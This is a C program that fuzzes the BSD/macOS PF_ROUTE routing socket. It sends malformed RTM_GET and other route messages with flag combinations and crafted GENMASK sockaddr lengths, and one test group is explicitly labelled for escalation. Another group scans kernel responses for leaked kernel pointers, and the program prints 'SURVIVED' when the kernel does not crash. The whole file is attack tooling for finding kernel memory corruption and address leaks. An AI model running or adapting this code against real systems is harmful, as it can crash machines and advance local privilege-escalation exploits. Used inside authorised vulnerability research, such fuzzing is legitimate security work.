#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>

#define RTM_VERSION  5
#define RTM_ADD      1
#define RTM_DELETE   2
#define RTM_CHANGE   3
#define RTM_GET      4
#define RTM_LOSING   5
#define RTM_REDIRECT 6
#define RTM_MISS     7
#define RTM_LOCK     8
#define RTM_RESOLVE  11
#define RTM_GET2     20
#define RTM_GET_EXT  21

struct rt_metrics {
    uint32_t rmx_locks, rmx_mtu, rmx_hopcount;
    int32_t rmx_expire;
    uint32_t rmx_recvpipe, rmx_sendpipe, rmx_ssthresh;
    uint32_t rmx_rtt, rmx_rttvar, rmx_pksent, rmx_state;
    uint32_t rmx_filler[3];
};

struct rt_msghdr {
    unsigned short rtm_msglen;
    unsigned char  rtm_version;
    unsigned char  rtm_type;
    unsigned short rtm_index;
    int            rtm_flags;
    int            rtm_addrs;
    int            rtm_pid;
    int            rtm_seq;
    int            rtm_errno;
    int            rtm_use;
    unsigned int   rtm_inits;
    struct rt_metrics rtm_rmx;
};

static int send_route_msg(int type, int addrs, void *sa_buf, int sa_len) {
    int fd = socket(PF_ROUTE, SOCK_RAW, 0);
    if (fd < 0) return -errno;

    char buf[2048];
    memset(buf, 0, sizeof(buf));
    struct rt_msghdr *rtm = (struct rt_msghdr *)buf;
    rtm->rtm_type = type;
    rtm->rtm_version = RTM_VERSION;
    rtm->rtm_seq = 1;
    rtm->rtm_addrs = addrs;
    if (sa_len > 0 && sa_buf)
        memcpy(buf + sizeof(*rtm), sa_buf, sa_len);
    rtm->rtm_msglen = sizeof(*rtm) + sa_len;

    ssize_t s = write(fd, buf, rtm->rtm_msglen);
    int err = (s < 0) ? errno : 0;

    if (s > 0) {
        struct timeval tv = {.tv_sec = 0, .tv_usec = 100000};
        setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
        ssize_t r = read(fd, buf, sizeof(buf));
        if (r > 0) {
            struct rt_msghdr *resp = (struct rt_msghdr *)buf;
            printf("  resp: %zd bytes type=%u errno=%d addrs=0x%x", r,
                resp->rtm_type, resp->rtm_errno, resp->rtm_addrs);
            if (r > (ssize_t)sizeof(*rtm) + 16) {
                printf(" payload=");
                for (int i = sizeof(*rtm); i < sizeof(*rtm)+16 && i < r; i++)
                    printf("%02x", (unsigned char)buf[i]);
            }
            printf("\n");
        }
    }

    close(fd);
    return err;
}

int main(int argc, char **argv) {
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGPIPE, SIG_IGN);

    if (argc < 2) {
        printf("Usage: %s <test_group>\n", argv[0]);
        printf("  1 = All 2-flag combos with DST\n");
        printf("  2 = All 3-flag combos with DST\n");
        printf("  3 = RTM types with GENMASK\n");
        printf("  4 = GENMASK with various sockaddr sizes\n");
        printf("  5 = GENMASK with crafted sa_len values\n");
        printf("  6 = Response data leak check\n");
        return 1;
    }
    int group = atoi(argv[1]);

    struct sockaddr_in sin_dst, sin_extra;
    memset(&sin_dst, 0, sizeof(sin_dst));
    sin_dst.sin_family = AF_INET;
    sin_dst.sin_len = sizeof(sin_dst);
    sin_dst.sin_addr.s_addr = inet_addr("8.8.8.8");

    memset(&sin_extra, 0, sizeof(sin_extra));
    sin_extra.sin_family = AF_INET;
    sin_extra.sin_len = sizeof(sin_extra);
    sin_extra.sin_addr.s_addr = inet_addr("255.255.255.0");

    switch (group) {
    case 1: {
        printf("=== All 2-flag combos with DST ===\n");
        const char *names[] = {"GW","MASK","GENMASK","IFP","IFA","AUTHOR","BRD"};
        int flags[] = {0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80};
        for (int i = 0; i < 7; i++) {
            char sa[32]; int off = 0;
            memcpy(sa+off, &sin_dst, sizeof(sin_dst)); off += sizeof(sin_dst);
            memcpy(sa+off, &sin_extra, sizeof(sin_extra)); off += sizeof(sin_extra);
            printf("DST+%s (0x%02x): ", names[i], 0x01|flags[i]);
            int e = send_route_msg(RTM_GET, 0x01|flags[i], sa, off);
            if (e) printf("  err=%d\n", e);
        }
        break;
    }
    case 2: {
        printf("=== 3-flag combos with DST ===\n");
        int flags[] = {0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80};
        for (int i = 0; i < 7; i++) {
            for (int j = i+1; j < 7; j++) {
                int combo = 0x01 | flags[i] | flags[j];
                int count = 3;
                char sa[128]; int off = 0;
                for (int k = 0; k < count; k++) {
                    memcpy(sa+off, &sin_dst, sizeof(sin_dst));
                    off += sizeof(sin_dst);
                }
                printf("0x%02x: ", combo);
                int e = send_route_msg(RTM_GET, combo, sa, off);
                if (e) printf("  err=%d\n", e);
            }
        }
        break;
    }
    case 3: {
        printf("=== RTM types with DST+GENMASK ===\n");
        char sa[32]; int off = 0;
        memcpy(sa+off, &sin_dst, sizeof(sin_dst)); off += sizeof(sin_dst);
        memcpy(sa+off, &sin_extra, sizeof(sin_extra)); off += sizeof(sin_extra);
        int types[] = {RTM_GET, RTM_GET2, RTM_GET_EXT, RTM_CHANGE, RTM_LOCK, RTM_RESOLVE};
        const char *tnames[] = {"GET","GET2","GET_EXT","CHANGE","LOCK","RESOLVE"};
        for (int i = 0; i < 6; i++) {
            printf("RTM_%s + GENMASK: ", tnames[i]);
            int e = send_route_msg(types[i], 0x09, sa, off);
            if (e) printf("  err=%d\n", e);
        }
        break;
    }
    case 4: {
        printf("=== GENMASK with various sockaddr sizes ===\n");
        int lens[] = {4, 8, 16, 28, 32, 64, 128, 255};
        for (int i = 0; i < 8; i++) {
            char sa[512]; memset(sa, 0, sizeof(sa));
            memcpy(sa, &sin_dst, sizeof(sin_dst));
            int off = sizeof(sin_dst);
            sa[off] = lens[i];
            sa[off+1] = AF_INET;
            off += (lens[i] + 3) & ~3;
            printf("GENMASK sa_len=%d: ", lens[i]);
            int e = send_route_msg(RTM_GET, 0x09, sa, off > 512 ? 512 : off);
            if (e) printf("  err=%d\n", e);
        }
        break;
    }
    case 5: {
        printf("=== Crafted GENMASK for escalation ===\n");
        for (int sa_len = 1; sa_len <= 128; sa_len++) {
            char sa[512]; memset(sa, 0x41, sizeof(sa));
            memcpy(sa, &sin_dst, sizeof(sin_dst));
            int off = sizeof(sin_dst);
            memset(sa+off, 0, 256);
            sa[off] = sa_len;
            sa[off+1] = AF_INET;
            for (int b = 2; b < sa_len && b < 256; b++)
                sa[off+b] = 0xFF;
            int padded = (sa_len + 3) & ~3;
            if (padded < 4) padded = 4;
            printf("gm_len=%d: ", sa_len);
            int e = send_route_msg(RTM_GET, 0x09, sa, sizeof(sin_dst) + padded);
            if (e) printf("  err=%d\n", e);
        }
        break;
    }
    case 6: {
        printf("=== Response data leak check ===\n");
        printf("Sending RTM_GET DST-only, checking response for kernel data\n");
        int fd = socket(PF_ROUTE, SOCK_RAW, 0);
        char buf[4096]; memset(buf, 0, sizeof(buf));
        struct rt_msghdr *rtm = (struct rt_msghdr *)buf;
        rtm->rtm_type = RTM_GET;
        rtm->rtm_version = RTM_VERSION;
        rtm->rtm_seq = 1;
        rtm->rtm_addrs = 0x01;
        memcpy(buf + sizeof(*rtm), &sin_dst, sizeof(sin_dst));
        rtm->rtm_msglen = sizeof(*rtm) + sizeof(sin_dst);
        write(fd, buf, rtm->rtm_msglen);
        memset(buf, 0xCC, sizeof(buf));
        ssize_t r = read(fd, buf, sizeof(buf));
        printf("Response: %zd bytes\n", r);
        if (r > 0) {
            int nonzero_after_addrs = 0;
            for (int i = (int)r - 32; i < (int)r; i++) {
                if (i >= 0 && (unsigned char)buf[i] != 0)
                    nonzero_after_addrs++;
            }
            printf("Last 32 bytes nonzero count: %d\n", nonzero_after_addrs);
            printf("Full response hex:\n");
            for (int i = 0; i < r && i < 256; i++) {
                printf("%02x", (unsigned char)buf[i]);
                if ((i+1) % 32 == 0) printf("\n");
            }
            printf("\n");
            int kptr_candidates = 0;
            for (int i = 0; i + 7 < r; i += 4) {
                uint64_t val = *(uint64_t*)(buf + i);
                if ((val >> 40) == 0xffffff || (val >> 40) == 0xfffffe) {
                    printf("POSSIBLE KPTR at offset %d: 0x%016llx\n", i, val);
                    kptr_candidates++;
                }
            }
            if (kptr_candidates == 0) printf("No kernel pointers found\n");
        }
        close(fd);
        break;
    }
    }

    printf("\nSURVIVED\n");
    return 0;
}